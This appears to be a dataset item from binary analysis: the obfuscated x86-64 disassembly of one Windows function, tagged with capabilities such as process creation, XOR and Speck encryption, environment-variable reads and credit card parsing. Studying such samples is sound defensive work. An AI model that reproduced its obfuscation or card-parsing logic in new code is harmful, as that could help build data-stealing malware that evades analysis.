Function at 0x140174ae0
Capabilities:
Authenticate hmac
Create a process with modified i/o handles and window
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using speck
Get common file path
Parse credit card information
Query environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x628
movdqa xmmword [rsp + 0x610], xmm6
mov qword [rsp + 0x118], r8
mov qword [rsp + 0x78], rcx
movzx eax, byte [rdx + 0xa0]
test al, al
sete cl
mov qword [rsp + 0x108], rdx
mov rsi, qword [rdx + 0x98]
test rsi, rsi
sete dl
and dl, cl
mov byte [rsp + 0x76], dl
je 0x140174b39
xor ebp, ebp
jmp 0x140177170
mov qword [rsp + 0x1e0], 0
mov qword [rsp + 0x1f0], 0
test al, al
jne 0x140175451
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
nop
mov edx, dword [0x14159f928]
mov ecx, dword [0x14159f92c]
not edx
not ecx
and ecx, edx
not ecx
mov edx, ecx
and edx, 0x319704e9
and ecx, 0x119704a9
add ecx, ecx
sub edx, ecx
add edx, 0x9bd7b6bd
mov ecx, edx
not ecx
or edx, 0x47797a06
or ecx, 0xb88685f9
and ecx, edx
cmp ecx, 0x923244b4
jb 0x140174b60
test rax, rax
je 0x140179de2
mov qword [rsp + 0x68], rsi
nop word cs:[rax + rax]
mov ecx, dword [0x14159f930]
sub ecx, dword [0x14159f934]
or ecx, 0x57074894
add ecx, 0x87bd834a
cmp ecx, 0x4d6c78e8
jb 0x140174bc0
mov qword [rsp + 0x58], rax
cmp word [rax], 0
je 0x140175442
nop
mov eax, dword [0x14159f938]
mov ecx, dword [str._B_]
lea edx, [rax + rcx]
add eax, ecx
add eax, 0xafae7bc1
mov ecx, eax
and ecx, 0x647f8a34
xor eax, 0x9b8075cb
add eax, edx
add eax, 0xafae7bc1
sub eax, ecx
cmp eax, 0x22cc5a37
jb 0x140174bf0
nop word cs:[rax + rax]
mov eax, dword [0x14159f940]
add eax, dword [0x14159f944]
mov ecx, eax
xor ecx, 0x6db88ba1
and eax, 0x1247745e
add eax, eax
sub eax, ecx
or eax, 0x9252548c
add eax, 0xc7819df8
cmp eax, 0x422d090c
jb 0x140174c30
lea r14, [rsp + 0xa0]
mov edi, 0xc38b2823
mov rbp, qword [rsp + 0x58]
xor eax, eax
nop word cs:[rax + rax]
mov r12, rax
inc rax
cmp word [rbp + r12*2], 0
jne 0x140174c80
lea r15, [rax*2]
add r15, rbp
test r12, r12
jle 0x140174cb0
cmp r12, 1
je 0x140174db0
jmp 0x140174cb6
je 0x1401753e2
lea rcx, [r12*2]
add rcx, rbp
nop word cs:[rax + rax]
mov eax, dword [0x14159f958]
xor edx, edx
div dword [str.ki_8R]
mov edx, eax
xor edx, 0x301d1228
xor eax, 0x45a264d2
mov r8d, eax
and r8d, 0x8be2cd95
and edx, 0x741d326a
imul edx, r8d
mov r8d, eax
and r8d, 0x741d326a
or eax, 0x741d326a
imul eax, r8d
add eax, edx
add eax, 0xb9044df6
cmp eax, 0x1ad13f1c
jb 0x140174cd0
lea r8, [rbp + 2]
xor esi, esi
nop word cs:[rax + rax]
mov eax, dword [0x14159f960]
xor edx, edx
div dword [0x14159f964]
add eax, 0xb906c69e
mov edx, eax
and edx, 0x6d404db5
and eax, 0x404040a5
add eax, eax
sub edx, eax
add edx, 0xc27cf0ad
cmp edx, 0xc6902c7
jb 0x140174d30
cmp word [r8], 0x3d
je 0x140174e50
add r8, 2
inc rsi
nop word cs:[rax + rax]
mov eax, dword [0x14159f968]
xor eax, dword [0x14159f96c]
and eax, 0x8420000f
add eax, 0x4ad58ff7
cmp eax, 0xf9a478d2
ja 0x140174d80
cmp r8, rcx
jne 0x140174d30
nop word cs:[rax + rax]
mov eax, dword [0x14159f980]
and eax, dword [0x14159f984]
or eax, 0x1e9e3f89
mov ecx, eax
and ecx, 0x5f80c55
add ecx, ecx
neg ecx
add eax, ecx
add eax, 0x85f80c55
mov ecx, eax
not ecx
or eax, 0xf883c3ac
or ecx, 0x77c3c53
and ecx, eax
cmp ecx, 0x18429d8b
jb 0x140174db0
movzx eax, word [r15]
nop word cs:[rax + rax]
mov ecx, dword [0x14159f988]
add ecx, dword [0x14159f98c]
mov edx, ecx
xor edx, 0x6254f5c
and ecx, 0x79dab0a3
add ecx, ecx
sub ecx, edx
mov edx, ecx
xor edx, 0xbbc8d6a8
add edx, ecx
and ecx, 0x44372957
sub edx, ecx
imul ecx, edx, 0xdf64e4ee
cmp ecx, 0x171edac3
ja 0x140174e00
jmp 0x140175040
mov eax, dword [0x14159f998]
add eax, dword [0x14159f99c]
cmp eax, 0x64911a7
mov eax, dword [0x14159f9a0]
mov ecx, dword [0x14159f9a4]
mov edx, eax
not edx
and edx, ecx
mov r8d, ecx
not r8d
and r8d, eax
imul r8d, edx
mov edx, eax
and edx, ecx
or eax, ecx
imul eax, edx
add eax, r8d
imul eax, eax, 0x5556d413
add eax, 0x9d4dca9f
mov ecx, eax
and ecx, 0x646d5100
add ecx, ecx
sub eax, ecx
add eax, 0xe46d5100
cmp eax, 0xb0c368bf
ja 0x140174e61
cmp rsi, r12
jae 0x14017d2c6
nop dword [rax + rax]
mov eax, dword [0x14159f9a8]
xor edx, edx
div dword [0x14159f9ac]
mov ecx, 0xa64f5b2f
imul rax, rcx
shr rax, 0x3f
lea ecx, [rax + 0x948800c]
not eax
and eax, 0x30110013
imul eax, eax, 0x864160
imul r13d, ecx, 0x39dfc17f
add r13d, eax
lea rdi, [rsi + 1]
mov rcx, r14
mov rdx, rbp
mov r8, rdi
call fcn.14020d000
cmp r13d, 0xe04a5d73
jbe 0x140174f30
mov rcx, r14
mov rdx, rbp
mov r8, rdi
call fcn.14013f9c0
jmp 0x140174ec0
mov eax, dword [0x14159f9b0]
mov ecx, dword [0x14159f9b4]
mov edx, ecx
not edx
mov r8d, eax
and r8d, edx
or edx, eax
not edx
imul edx, r8d
mov r8d, eax
and r8d, ecx
or eax, ecx
imul eax, r8d
add eax, edx
mov ecx, eax
not ecx
or eax, 0x1816625a
or ecx, 0xe7e99da5
and ecx, eax
mov eax, ecx
not eax
and ecx, 0x72b576fc
and eax, 0x8d4a8903
sub eax, ecx
mov ecx, eax
and ecx, 0x348c7b0
add ecx, ecx
sub eax, ecx
cmp eax, 0x3e23f136
je 0x140174f30
mov eax, esi
and eax, 2
xor rsi, 2
lea rdi, [rsi + rax*2]
cmp rdi, r12
lea r13, [rsp + 0x150]
ja 0x140179cc8
lea rbx, [rsp + 0x230]
nop word [rax + rax]
mov eax, dword [0x14159f9d0]
add eax, dword [0x14159f9d4]
or eax, 0x149c1e22
imul rax, rax, 0x2d7ea89b
shr rax, 0x3d
or eax, 0xaea8b014
cmp eax, 0x99e00734
jb 0x140174fc0
mov rax, r12
xor rax, rdi
lea rbp, [rbp + rdi*2]
not rdi
and rdi, r12
add rdi, rdi
sub rdi, rax
mov eax, dword [0x14159f9d8]
xor edx, edx
div dword [0x14159f9dc]
and eax, 0x354fcd8d
mov ecx, eax
xor ecx, 0xc8fd68d3
or eax, 0x3502850c
and eax, ecx
add eax, 0x7455ad8c
cmp eax, 0xdcd681ee
ja 0x1401750f6
jmp 0x140175080
test ax, ax
je 0x140175442
nop dword [rax]
mov eax, dword [0x14159f990]
xor eax, dword [0x14159f994]
imul rax, rdi
shr rax, 0x3f
or eax, 0x6970b436
cmp eax, 0xc35a4a3c
ja 0x140175050
mov rbp, r15
jmp 0x140174c70
mov eax, dword [0x14159f9e4]
mov esi, eax
xor esi, eax
not esi
and esi, dword [0x14159f9e0]
xor esi, eax
mov eax, esi
not eax
or eax, 0x10010000
and eax, 0x5085d710
mov ecx, esi
and ecx, 0xe120022
or ecx, eax
xor ecx, 0x4024636
and esi, 0x44869122
or esi, ecx
xor esi, 0xd00bd3a
mov rcx, rbx
mov rdx, rbp
mov r8, rdi
call fcn.14020d000
movups xmm0, xmmword [rsp + 0xa0]
movups xmm1, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x220], xmm1
movaps xmmword [rsp + 0x210], xmm0
cmp esi, 0xcc4e2276
jbe 0x140175130
mov rcx, rbx
mov rdx, rbp
mov r8, rdi
call fcn.14020d000
movups xmm0, xmmword [rsp + 0xa0]
movups xmm1, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x220], xmm1
movaps xmmword [rsp + 0x210], xmm0
jmp 0x140175080
mov rsi, qword [rsp + 0x210]
mov rdi, qword [rsp + 0x218]
movdqa xmm6, xmmword [rsp + 0x220]
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movaps xmmword [rsp + 0x150], xmm0
movaps xmmword [rsp + 0x160], xmm1
movabs rax, 0x8000000000000000
cmp rsi, rax
je 0x140175442
mov qword [rsp + 0x60], r15
movq r12, xmm6
add r12, rdi
mov eax, dword [0x14159f9e8]
mov ecx, dword [0x14159f9ec]
not ecx
mov edx, eax
or edx, ecx
and ecx, eax
not ecx
and ecx, edx
not ecx
mov eax, ecx
and eax, 0x59950855
add eax, eax
neg eax
add eax, ecx
add eax, 0x59950855
mov ecx, eax
and ecx, 0x36274189
add ecx, ecx
sub eax, ecx
add eax, 0xb6274189
xor eax, 0x560f1ffa
cmp eax, 0x380c5aa1
jne 0x140175222
mov qword [rsp + 0xa0], rdi
mov qword [rsp + 0xa8], r12
mov word [rsp + 0xb0], 0
mov rcx, rbx
mov rdx, r14
call fcn.1401871c0
mov qword [rsp + 0x210], rsi
mov qword [rsp + 0x218], rdi
movdqu xmmword [rsp + 0x220], xmm6
mov rcx, r14
lea rdx, [rsp + 0x1e0]
lea r8, [rsp + 0x210]
mov r9, r13
call fcn.140187c90
mov r15, r13
lea r13, [rsp + 0x210]
lea rbx, [rsp + 0x1e0]
nop word cs:[rax + rax]
mov eax, dword [0x14159f9f0]
xor edx, edx
div dword [0x14159f9f4]
xor eax, 0xf76e51c7
mov ebp, 0xda7757c3
sub ebp, eax
add eax, 0x2588a83c
or eax, 0xc7aeacb9
or ebp, 0x38515346
and ebp, eax
mov qword [rsp + 0xa0], rdi
mov qword [rsp + 0xa8], r12
mov word [rsp + 0xb0], 0
lea rcx, [rsp + 0x230]
mov rdx, r14
call fcn.14020d040
mov qword [rsp + 0x210], rsi
mov qword [rsp + 0x218], rdi
movdqu xmmword [rsp + 0x220], xmm6
mov rcx, r14
mov rdx, rbx
mov r8, r13
mov r9, r15
call fcn.140187c90
cmp ebp, 0x4e4c5aee
jb 0x140175240
mov rax, qword [rsp + 0xa0]
test rax, rax
mov r15, qword [rsp + 0x60]
js 0x1401752e7
mov edi, 0xc38b2823
jne 0x1401752fb
jmp 0x140175340
movabs rcx, 0x8000000000000000
cmp rax, rcx
mov edi, 0xc38b2823
je 0x140175340
mov eax, dword [0x14159f9f8]
xor edx, edx
div dword [0x14159f9fc]
imul eax, eax, 0x84193308
cmp eax, 0xae472da8
jne 0x14017531d
mov rax, qword [0x1415acb98]
mov r8, qword [rsp + 0xa8]
mov rcx, qword [0x1415acb98]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop word cs:[rax + rax]
mov eax, dword [0x14159fa00]
mov ecx, dword [0x14159fa04]
mov edx, eax
and edx, ecx
or eax, ecx
not eax
or eax, edx
mov ecx, eax
or ecx, 0xb270c6a4
sub ecx, eax
mov eax, ecx
not eax
and eax, 0x88612557
mov edx, ecx
and edx, 0x779edaa8
imul edx, eax
mov eax, ecx
and eax, 0x88612557
or ecx, 0x88612557
imul ecx, eax
add ecx, edx
xor ecx, 0xfa27a195
cmp ecx, 0xdfbf5cdc
ja 0x140175340
movzx eax, word [r15]
nop dword [rax + rax]
mov ecx, dword [0x14159fa08]
sub ecx, dword [0x14159fa0c]
and ecx, 0x311ad359
add ecx, 0xee81f52
mov edx, ecx
xor edx, 0x43cd48d5
and ecx, 0x43c848d3
or ecx, edx
cmp ecx, 0x77dd39a
jb 0x1401753a0
jmp 0x140175040
mov eax, dword [0x14159f970]
add eax, dword [0x14159f974]
mov ecx, eax
xor ecx, 0xa6c15799
add ecx, eax
and eax, 0x593ea866
sub ecx, eax
imul rax, rcx, 0x69c3837d
shr rax, 0x3c
mov ecx, eax
and ecx, 2
or eax, 0x6ff4d4a
add eax, ecx
ud2
mov rcx, qword [rsp + 0x58]
call fcn.14020d020
mov rsi, qword [rsp + 0x68]
mov rax, qword [rsp + 0x108]
mov rax, qword [rax + 0x88]
test rax, rax
setne dl
test rsi, rsi
setne cl
and cl, dl
mov edx, 0x9ae3fa2d
nop word cs:[rax + rax]
mov r8d, dword [0x14159f950]
xor r8d, dword [0x14159f954]
mov r9d, r8d
and r9d, 0x330cfc33
xor r8d, 0xb30cfc33
lea r8d, [r8 + r9*2]
imul r8, rdx
shr r8, 0x3f
mov r9d, r8d
not r9d
and r9d, 0x8d02ca99
xor r9d, 0x4830cef4
or r9d, r8d
cmp r9d, 0x860bacca
jb 0x140175480
test cl, cl
je 0x140176c3f
mov rcx, qword [rsp + 0x108]
mov r13, qword [rcx + 0x90]
xor r14d, r14d
mov r15d, 0xc7afe87b
jmp 0x140175512
mov rsi, qword [rsp + 0x68]
mov rax, rsi
not rax
lea rsi, [rax + rsi*2]
mov eax, 0
test rsi, rsi
mov r13, qword [rsp + 0x60]
je 0x140176c3f
test r14, r14
je 0x140175530
movzx ecx, word [r14 + 0x3d2]
cmp r13, rcx
jae 0x140175720
mov r12, r14
jmp 0x1401757ee
mov ecx, dword [str._V_]
sub ecx, dword [0x14159fa14]
mov edx, ecx
and edx, 0x52a3450
mov r8d, edx
not r8d
mov r9d, ecx
and r9d, 0x1283010
and r8d, 0x14d606c3
imul r8d, r9d
and ecx, 0x4020440
or edx, 0x14d606c3
imul edx, ecx
add edx, r8d
or edx, 0xc03f8ee1
cmp edx, 0xea7776d6
ja 0x140175530
test r13, r13
je 0x140175617
mov ecx, r13d
and ecx, 7
nop
mov edx, dword [0x14159fa18]
imul edx, dword [0x14159fa1c]
imul edx, edx, 0x6fb1a99b
or edx, 0xce1d92e8
imul edx, edx, 0x3b883027
cmp edx, 0xd64a2f78
ja 0x140175590
test rcx, rcx
je 0x14017561f
lea rdx, [r13 + 1]
mov r8, 0xffffffffffffffff
xor r9d, r9d
mov r10, r13
mov r14, rax
mov eax, dword [0x14159fa20]
sub eax, dword [0x14159fa24]
or eax, 0x6a8cbd7b
add eax, 0x4e900c95
and eax, 0xf7ffc684
xor eax, 0x152b71c2
cmp eax, 0x725a87ec
je 0x1401755d0
inc r9
mov r14, qword [r14 + 0x3d8]
dec rdx
dec r8
dec r10
cmp rcx, r9
jne 0x1401755d0
mov rcx, r13
sub rcx, r9
jmp 0x140175630
mov r14, rax
jmp 0x140175702
mov rcx, r13
mov r14, rax
nop word cs:[rax + rax]
mov eax, dword [0x14159fa28]
mov edx, dword [0x14159fa2c]
mov r8d, edx
not r8d
mov r9d, eax
and r9d, r8d
or r8d, eax
not r8d
imul r8d, r9d
mov r9d, eax
and r9d, edx
or eax, edx
imul eax, r9d
add eax, r8d
mov edx, eax
not edx
and edx, 0xadd4be5c
mov r8d, eax
and r8d, 0x522b41a3
imul r8d, edx
mov edx, eax
and edx, 0xadd4be5c
or eax, 0xadd4be5c
imul eax, edx
add eax, r8d
mov edx, eax
xor edx, 0x91102020
and edx, eax
not edx
or edx, 0x6ead1599
cmp edx, 0x1e5251fe
jb 0x140175630
cmp r13, 8
jb 0x140175702
mov rax, rcx
not rax
nop word cs:[rax + rax]
mov rdx, qword [r14 + 0x3d8]
mov rdx, qword [rdx + 0x3d8]
mov rdx, qword [rdx + 0x3d8]
mov rdx, qword [rdx + 0x3d8]
mov rdx, qword [rdx + 0x3d8]
mov rdx, qword [rdx + 0x3d8]
mov rdx, qword [rdx + 0x3d8]
mov r14, qword [rdx + 0x3d8]
add rax, 8
add rcx, 0xfffffffffffffff8
jne 0x1401756c0
xor r13d, r13d
xor eax, eax
movzx ecx, word [r14 + 0x3d2]
cmp r13, rcx
jb 0x140175528
nop dword [rax + rax]
mov r12, qword [r14 + 0x160]
test r12, r12
je 0x14017752c
mov ecx, dword [0x14159fa38]
mov edx, dword [0x14159fa3c]
mov r8d, ecx
and r8d, edx
xor ecx, edx
lea ecx, [rcx + r8*2]
and ecx, 0x81084300
add ecx, 0x19f1fc78
cmp ecx, 0xfb484ae9
ja 0x140175730
inc rax
movzx r13d, word [r14 + 0x3d0]
movzx ecx, word [r12 + 0x3d2]
mov edx, dword [str.1_f]
xor edx, dword [0x14159fa44]
or edx, 0xd201ac39
imul rdx, rdx, 0x2f17d50b
shr rdx, 0x3d
imul edx, edx, 0xc88e303b
cmp edx, 0x323d13a5
jb 0x140175770
mov r14, r12
cmp r13w, cx
jae 0x140175720
nop dword [rax + rax]
mov ecx, dword [0x14159fa30]
mov edx, dword [0x14159fa34]
mov r8d, ecx
xor r8d, edx
not r8d
or ecx, edx
and ecx, r8d
mov edx, ecx
or edx, 0x92396e17
xor edx, 0xeaa721ad
or ecx, 0x1558de52
and ecx, edx
add ecx, 0x2751d3e2
cmp ecx, 0xe92c3aff
ja 0x1401757b0
test rax, rax
mov qword [rsp + 0x68], rsi
je 0x140175940
mov r14, qword [r12 + r13*8 + 0x3e0]
lea rcx, [rax - 1]
nop dword [rax + rax]
mov edx, dword [0x14159fa58]
mov r8d, dword [0x14159fa5c]
mov r9d, edx
not r9d
and r9d, r8d
not r8d
and r8d, edx
sub r8d, r9d
mov edx, r8d
and edx, 0xc244336
add edx, edx
mov r9d, r8d
sub r9d, edx
neg edx
add edx, r8d
add edx, 0x8c244336
not edx
or edx, 0x20ecf5a1
add edx, r9d
add edx, 0x8c244337
xor edx, 0xc346a806
cmp edx, 0xc11c6c9f
jb 0x140175810
test rcx, rcx
je 0x140175932
mov rdx, rax
and rdx, 0xfffffffffffffffe
or rax, 0xfffffffffffffffe
add rax, rdx
mov edx, ecx
and edx, 7
nop word cs:[rax + rax]
mov r8d, dword [0x14159fa60]
and r8d, dword [0x14159fa64]
mov r9d, r8d
and r9d, 0xff8
add r9d, r9d
neg r9d
add r8d, r9d
add r8d, 0x8f86cff8
and r8d, 0x1202
cmp r8d, 0x9056d5ec
ja 0x140175890
test rdx, rdx
je 0x1401758e2
xor r8d, r8d
mov r14, qword [r14 + 0x3d8]
dec rcx
inc r8
cmp r8, rdx
jne 0x1401758d0
cmp rax, 7
jb 0x140175932
mov rax, rcx
neg rax
nop
mov rdx, qword [r14 + 0x3d8]
mov rdx, qword [rdx + 0x3d8]
mov rdx, qword [rdx + 0x3d8]
mov rdx, qword [rdx + 0x3d8]
mov rdx, qword [rdx + 0x3d8]
mov rdx, qword [rdx + 0x3d8]
mov rdx, qword [rdx + 0x3d8]
mov r14, qword [rdx + 0x3d8]
add rcx, 0xfffffffffffffff8
add rax, 8
jne 0x1401758f0
xor edi, edi
jmp 0x140175947
lea rdi, [r13 + 1]
mov r14, r12
imul rax, r13, 0x38
lea rbp, [r12 + rax]
add rbp, 0x168
shl r13, 5
movabs rax, 0x8000000000000000
cmp qword [r12 + r13], rax
mov qword [rsp + 0x60], rdi
jne 0x140175b30
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x90], rax
test rax, rax
je 0x1401754f0
mov rdi, qword [rbp + 0x28]
mov r13, qword [rbp + 0x30]
mov r12, qword [rsp + 0x1e8]
nop dword [rax]
mov eax, dword [0x14159fb08]
xor edx, edx
div dword [str.._f_noh]
mov ecx, eax
not ecx
or ecx, 0x64e28a51
or eax, 0x44720a73
and eax, ecx
and eax, 0x64f28a73
cmp eax, 0x5ae14da6
ja 0x1401759a0
xor eax, eax
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x200], r12
mov rdx, qword [rsp + 0x90]
lea rbx, [rdx + 0x168]
movzx eax, word [rdx + 0x3d2]
mov qword [rsp + 0x1a8], rax
imul rax, rax, 0x38
mov qword [rsp + 0x58], rdx
lea rbp, [rdx + rax]
add rbp, 0x168
xor esi, esi
nop word cs:[rax + rax]
cmp rbx, rbp
je 0x140175ab0
nop dword [rax]
mov eax, dword [0x14159fb10]
add eax, dword [0x14159fb14]
mov ecx, eax
not ecx
and ecx, 0x9156320
and eax, 0xf6ea9cdf
sub eax, ecx
imul rax, r15
shr rax, 0x3e
mov ecx, eax
not ecx
or eax, 0xe687ae81
or ecx, 0xe687ae82
and ecx, eax
cmp ecx, 0xe6dff45b
ja 0x140175a30
mov r8, qword [rbx + 0x28]
mov r9d, dword [rbx + 0x30]
mov dword [rsp + 0x20], 1
mov rcx, rdi
mov edx, r13d
call fcn.14020d070
cmp eax, 2
jl 0x140175ac0
add rbx, 0x38
lea rcx, [rsi + 1]
cmp eax, 3
jl 0x140175c80
mov rsi, rcx
je 0x140175a20
jmp 0x140179b70
mov rsi, qword [rsp + 0x1a8]
jmp 0x140175ac9
cmp eax, 1
jne 0x140179b70
test r12, r12
je 0x1401754f0
mov rdx, qword [rsp + 0x58]
mov rdx, qword [rdx + rsi*8 + 0x3d8]
mov ecx, 0xaefe2937
nop word cs:[rax + rax]
mov eax, dword [0x14159fb28]
or eax, dword [0x14159fb2c]
add eax, 0xc07071dd
imul rax, rcx
shr rax, 0x3e
add eax, 0x23d5a2b1
cmp eax, 0x2b3da03a
ja 0x140175af0
dec r12
inc qword [rsp + 0x1a0]
jmp 0x1401759e5
mov rsi, qword [rbp + 8]
mov rbx, qword [rbp + 0x10]
test rbx, rbx
je 0x140175fd1
nop word cs:[rax + rax]
mov eax, dword [0x14159fa68]
and eax, dword [0x14159fa6c]
mov ecx, eax
xor ecx, 0xdcde909e
xor eax, 0x2216401
and eax, 0x46b17403
mov edx, ecx
and edx, 0xb94e8bfc
imul edx, eax
mov eax, ecx
and eax, 0x46b17403
or ecx, 0x46b17403
imul ecx, eax
add ecx, edx
or ecx, 0x415faf45
cmp ecx, 0x470d426f
jb 0x140175b50
test rbx, rbx
js 0x140179ab2
movzx eax, byte [0x1415acbd0]
mov eax, dword [0x14159fa78]
or eax, dword [0x14159fa7c]
mov ecx, eax
not ecx
and ecx, 0xe041c119
mov edx, eax
and edx, 0x1fbe3ee6
imul edx, ecx
mov ecx, eax
and ecx, 0xe041c119
or eax, 0xe041c119
imul eax, ecx
add eax, edx
and eax, 0xc7fa0e45
imul eax, eax, 0xe4a0ea22
cmp eax, 0x2f54364a
jae 0x140175bf8
xor ecx, ecx
mov rdx, rbx
call fcn.1401ac910
xor ecx, ecx
mov rdx, rbx
call fcn.1401ac910
mov rcx, rax
nop word cs:[rax + rax]
mov eax, dword [0x14159fa80]
add eax, dword [0x14159fa84]
mov edx, eax
and edx, 0x769e08c9
add edx, edx
sub eax, edx
add eax, 0x769e08c9
mov r8d, eax
xor r8d, 0x8de6043
xor eax, 0xe3218bbc
mov edx, eax
and edx, 0xd4019624
and r8d, 0x2bfe69db
imul r8d, edx
mov edx, eax
and edx, 0x2bfe69db
or eax, 0x2bfe69db
imul eax, edx
add eax, r8d
cmp eax, 0x1b672cc5
je 0x140175c10
test rcx, rcx
jne 0x140175fd6
jmp 0x140179bb4
mov byte [rsp + 0x77], 0
test r12, r12
je 0x140176496
lea r10, [rsp + 0x210]
lea r8, [rsp + 0x77]
mov r11, qword [rsp + 0x58]
mov eax, dword [0x14159fb48]
or eax, dword [0x14159fb4c]
mov ecx, eax
xor ecx, 0x50c0108c
and ecx, eax
mov eax, ecx
and eax, 0xdad2168d
mov edx, eax
not edx
mov r9d, ecx
and r9d, 0x18d00409
and edx, 0xe70a3ab6
imul edx, r9d
and ecx, 0xc2021284
or eax, 0xe70a3ab6
imul eax, ecx
add eax, edx
cmp eax, 0x80108b27
jb 0x140175ca0
mov rax, qword [r11 + rsi*8 + 0x3d8]
mov esi, 0x8ffba263
dec r12
je 0x140175f0c
mov ecx, dword [0x14159fb50]
or ecx, dword [0x14159fb54]
mov edx, ecx
and edx, 0x17cfab4f
add edx, edx
neg edx
add ecx, edx
add ecx, 0x17cfab4f
xor ecx, 0xf651f890
add ecx, 0x87d5de36
cmp ecx, 0xdc71e384
ja 0x140175d02
mov rcx, qword [rsp + 0x200]
sub rcx, qword [rsp + 0x1a0]
add rcx, 0xfffffffffffffffe
mov edx, r12d
and edx, 7
mov r11d, dword [0x14159fb58]
add r11d, dword [0x14159fb5c]
mov r9d, r11d
and r9d, 0x3131892f
or r11d, 0x3131892f
add r11d, r9d
or r11d, 0xa419176a
mov r9d, r11d
xor r9d, 0xb5e84bec
and r11d, 0x4a17b413
add r11d, r11d
sub r11d, r9d
cmp r11d, 0x32bf8f2a
jb 0x140175d50
test rdx, rdx
je 0x140175de0
xor r11d, r11d
nop word cs:[rax + rax]
movzx r9d, word [rax + 0x3d2]
mov rax, qword [rax + r9*8 + 0x3d8]
mov r9, r12
not r9
lea r12, [r9 + r12*2]
inc r11
cmp r11, rdx
jne 0x140175db0
nop word cs:[rax + rax]
mov edx, dword [0x14159fb60]
or edx, dword [0x14159fb64]
mov r11d, edx
xor r11d, 0x83c22243
xor edx, 0x3c21508c
and edx, 0x3ee1508f
mov r9d, r11d
and r9d, 0xc11eaf70
imul r9d, edx
mov edx, r11d
and edx, 0x3ee1508f
or r11d, 0x3ee1508f
imul r11d, edx
lea edx, [r11 + r9]
add edx, 0x747cc960
cmp edx, 0xd811324f
ja 0x140175de0
cmp rcx, 7
jb 0x140175f0c
mov ecx, dword [0x14159fb68]
mov edx, dword [0x14159fb6c]
not ecx
not edx
or edx, ecx
not edx
mov ecx, edx
and ecx, 0x7bcf14ca
add ecx, ecx
neg ecx
add ecx, edx
add ecx, 0xfbcf14ca
mov edx, ecx
and edx, 0x94d63fe9
or ecx, 0x94d63fe9
add ecx, edx
cmp ecx, 0xc0894a89
je 0x140175e40
movzx ecx, word [rax + 0x3d2]
mov rax, qword [rax + rcx*8 + 0x3d8]
movzx ecx, word [rax + 0x3d2]
mov rax, qword [rax + rcx*8 + 0x3d8]
movzx ecx, word [rax + 0x3d2]
mov rax, qword [rax + rcx*8 + 0x3d8]
movzx ecx, word [rax + 0x3d2]
mov rax, qword [rax + rcx*8 + 0x3d8]
movzx ecx, word [rax + 0x3d2]
mov rax, qword [rax + rcx*8 + 0x3d8]
movzx ecx, word [rax + 0x3d2]
mov rax, qword [rax + rcx*8 + 0x3d8]
movzx ecx, word [rax + 0x3d2]
mov rax, qword [rax + rcx*8 + 0x3d8]
movzx ecx, word [rax + 0x3d2]
mov rax, qword [rax + rcx*8 + 0x3d8]
mov rcx, r12
and rcx, 0xfffffffffffffff8
or r12, 0xfffffffffffffff8
add r12, rcx
jne 0x140175e40
movzx ecx, word [rax + 0x3d2]
mov rdx, rcx
not rdx
lea rcx, [rdx + rcx*2]
mov qword [rsp + 0x1b0], rax
mov qword [rsp + 0x1b8], 0
mov qword [rsp + 0x1c0], rcx
mov rcx, r10
lea rdx, [rsp + 0x1b0]
call fcn.14020d0a0
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x180], rax
movups xmm0, xmmword [rsp + 0x210]
movups xmm1, xmmword [rsp + 0x220]
movups xmm2, xmmword [rsp + 0x230]
movaps xmmword [rsp + 0x170], xmm2
movaps xmmword [rsp + 0x160], xmm1
movaps xmmword [rsp + 0x150], xmm0
lea rax, [rsp + 0x248]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x120], xmm0
movaps xmmword [rsp + 0x130], xmm1
mov r9, qword [rsp + 0x268]
mov rcx, qword [rsp + 0x278]
movzx eax, word [r9 + 0x3d2]
cmp rcx, rax
jae 0x1401765e5
mov rax, r9
jmp 0x1401766e0
mov ecx, 1
mov qword [rsp + 0x1a8], rcx
mov rdx, rsi
mov qword [rsp + 0x58], rbx
mov r8, rbx
call fcn.14021bb50
movzx r8d, byte [rbp + 0x18]
mov rdx, qword [rbp + 0x28]
mov rbx, qword [rbp + 0x30]
test rbx, rbx
mov byte [rsp + 0x90], r8b
je 0x140176121
mov qword [rsp + 0x1a0], rdx
nop word cs:[rax + rax]
mov eax, dword [0x14159faa0]
imul eax, dword [0x14159faa4]
or eax, 0xaaa9a58a
add eax, 0x5f286de
mov ecx, eax
xor ecx, 0x97af1af5
or eax, 0x6050e408
and eax, ecx
cmp eax, 0xff5f0aa2
je 0x140176020
movabs rax, 0x3fffffffffffffff
cmp rbx, rax
ja 0x14017d2c6
lea rbp, [rbx + rbx]
mov eax, dword [0x14159faa8]
mov ecx, dword [0x14159faac]
mov edx, eax
xor edx, ecx
not edx
or eax, ecx
and eax, edx
or eax, 0x25b2ca34
mov ecx, eax
and ecx, 0x7d4e1bbf
xor eax, 0x7d4e1bbf
lea eax, [rax + rcx*2]
mov ecx, eax
and ecx, 0x417a165f
add ecx, ecx
sub eax, ecx
cmp eax, 0x4996df17
jne 0x1401760c0
movzx eax, byte [0x1415acbd0]
xor ecx, ecx
mov rdx, rbp
call fcn.1401ac910
nop word cs:[rax + rax]
mov eax, dword [0x14159fab0]
xor edx, edx
div dword [0x14159fab4]
imul eax, eax, 0xc1256ecb
lea ecx, [rax + 0x13453370]
mov edx, ecx
and edx, 0xdd61c3
xor ecx, 0xff229e3c
lea edi, [rax + rcx]
add edi, 0x13453370
sub edi, edx
movzx eax, byte [0x1415acbd0]
xor ecx, ecx
mov rdx, rbp
call fcn.1401ac910
cmp edi, 0xf3f9da71
jb 0x1401760c0
mov rsi, rax
test rax, rax
mov rdx, qword [rsp + 0x1a0]
jne 0x140176128
jmp 0x140179b45
mov esi, 2
xor ebp, ebp
add r12, r13
mov rcx, rsi
mov r8, rbp
call fcn.14021bb50
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x210], rax
mov rcx, qword [rsp + 0x1a8]
mov qword [rsp + 0x218], rcx
mov qword [rsp + 0x220], rax
